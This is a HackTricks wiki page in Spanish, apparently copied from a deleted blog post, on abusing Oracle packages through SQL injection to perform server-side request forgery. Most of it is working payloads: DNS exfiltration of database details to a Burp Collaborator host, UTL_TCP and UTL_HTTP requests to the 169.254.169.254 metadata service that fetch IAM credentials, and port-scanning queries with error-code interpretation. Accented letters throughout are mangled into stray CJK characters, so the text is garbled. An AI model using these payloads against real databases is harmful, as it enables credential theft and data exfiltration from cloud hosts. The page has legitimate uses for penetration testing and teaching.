# Oracle injection {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} **Sirva esta publicaci贸n como una copia de la m谩quina Wayback del post eliminado de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. ## SSRF Usar Oracle para hacer solicitudes HTTP y DNS fuera de banda est谩 bien documentado, pero como un medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas t茅cnicas/funciones para hacer otros SSRF/XSPA. Instalar Oracle puede ser realmente doloroso, especialmente si deseas configurar una instancia r谩pida para probar comandos. Mi amigo y colega en [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me se帽al贸 [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permiti贸 configurar una instancia en una m谩quina Ubuntu t2.large de AWS y Docker. Ejecut茅 el comando docker con la bandera `--network="host"` para poder imitar Oracle como una instalaci贸n nativa con acceso completo a la red, durante el transcurso de esta publicaci贸n del blog. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` #### Paquetes de Oracle que soportan una especificaci贸n de URL o un Nombre de Host/N煤mero de Puerto Con el fin de encontrar paquetes y funciones que soporten una especificaci贸n de host y puerto, realic茅 una b煤squeda en Google en la [Documentaci贸n en L铆nea de Oracle Database](https://docs.oracle.com/database/121/index.html). Espec铆ficamente, ``` site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" ``` La b煤squeda devolvi贸 los siguientes resultados (no todos se pueden usar para realizar redes salientes) * DBMS\_NETWORK\_ACL\_ADMIN * UTL\_SMTP * DBMS\_XDB * DBMS\_SCHEDULER * DBMS\_XDB\_CONFIG * DBMS\_AQ * UTL\_MAIL * DBMS\_AQELM * DBMS\_NETWORK\_ACL\_UTILITY * DBMS\_MGD\_ID\_UTL * UTL\_TCP * DBMS\_MGWADM * DBMS\_STREAMS\_ADM * UTL\_HTTP Esta b煤squeda cruda obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y un n煤mero de puerto) ya que [la p谩gina de documentaci贸n](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te dirige a [una ubicaci贸n diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se pueden abusar para hacer solicitudes salientes que podr铆a haber pasado por alto. En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado arriba. **DBMS\_LDAP.INIT** El paquete `DBMS_LDAP` permite el acceso a datos desde servidores LDAP. La funci贸n `init()` inicializa una sesi贸n con un servidor LDAP y toma un nombre de host y un n煤mero de puerto como argumento. Esta funci贸n ha sido documentada anteriormente para mostrar la exfiltraci贸n de datos a trav茅s de DNS, como se muestra a continuaci贸n. ``` SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; ``` Sin embargo, dado que la funci贸n acepta un nombre de host y un n煤mero de puerto como argumentos, puedes usar esto para funcionar como un esc谩ner de puertos tambi茅n. Aqu铆 hay algunos ejemplos ``` SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; ``` Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` muestra que el puerto est谩 cerrado mientras que un valor de sesi贸n indica que el puerto est谩 abierto. **UTL\_SMTP** El paquete `UTL_SMTP` est谩 dise帽ado para enviar correos electr贸nicos a trav茅s de SMTP. El ejemplo proporcionado en el [sitio de documentaci贸n de Oracle muestra c贸mo puedes usar este paquete para enviar un correo electr贸nico](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Para nosotros, sin embargo, lo interesante es la capacidad de proporcionar una especificaci贸n de host y puerto. A continuaci贸n se muestra un ejemplo rudimentario con la funci贸n `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos. ``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2); END; ``` ``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2); END; ``` Un `ORA-29276: transfer timeout` muestra que el puerto est谩 abierto pero no se estableci贸 una conexi贸n SMTP, mientras que un `ORA-29278: SMTP transient error: 421 Service not available` muestra que el puerto est谩 cerrado. **UTL\_TCP** El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicaci贸n basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio espec铆fico, este paquete puede convertirse f谩cilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexi贸n TCP/IP pueden ser controlados. El ejemplo [en el sitio de documentaci贸n de Oracle muestra c贸mo puedes usar este paquete para hacer una conexi贸n TCP en bruto para obtener una p谩gina web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo un poco m谩s y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario. ``` set serveroutput on size 30000; SET SERVEROUTPUT ON DECLARE c utl_tcp.connection; retval pls_integer; BEGIN c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2); retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0'); retval := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END; / ``` ``` DECLARE c utl_tcp.connection; retval pls_integer; BEGIN c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4); retval := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END; ``` Interesantemente, debido a la capacidad de crear solicitudes TCP en bruto, este paquete tambi茅n se puede utilizar para consultar el servicio de metadatos de la instancia de todos los proveedores de nube, ya que el tipo de m茅todo y los encabezados adicionales se pueden pasar dentro de la solicitud TCP. **UTL\_HTTP y Solicitudes Web** Quiz谩s la t茅cnica m谩s com煤n y ampliamente documentada en cada tutorial de Inyecci贸n SQL Oracle Fuera de Banda es el [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este paquete est谩 definido por la documentaci贸n como - `El paquete UTL_HTTP realiza llamadas del Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a trav茅s de HTTP.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` Tambi茅n podr铆as usar esto para realizar un escaneo de puertos rudimentario con consultas como ``` select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una se帽al de que el puerto TCP est谩 cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una se帽al de que el puerto est谩 abierto. Otro paquete que he utilizado en el pasado con 茅xito variado es el [`GETCLOB()` m茅todo del tipo abstracto `HTTPURITYPE` de Oracle](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El m茅todo `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de dato CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}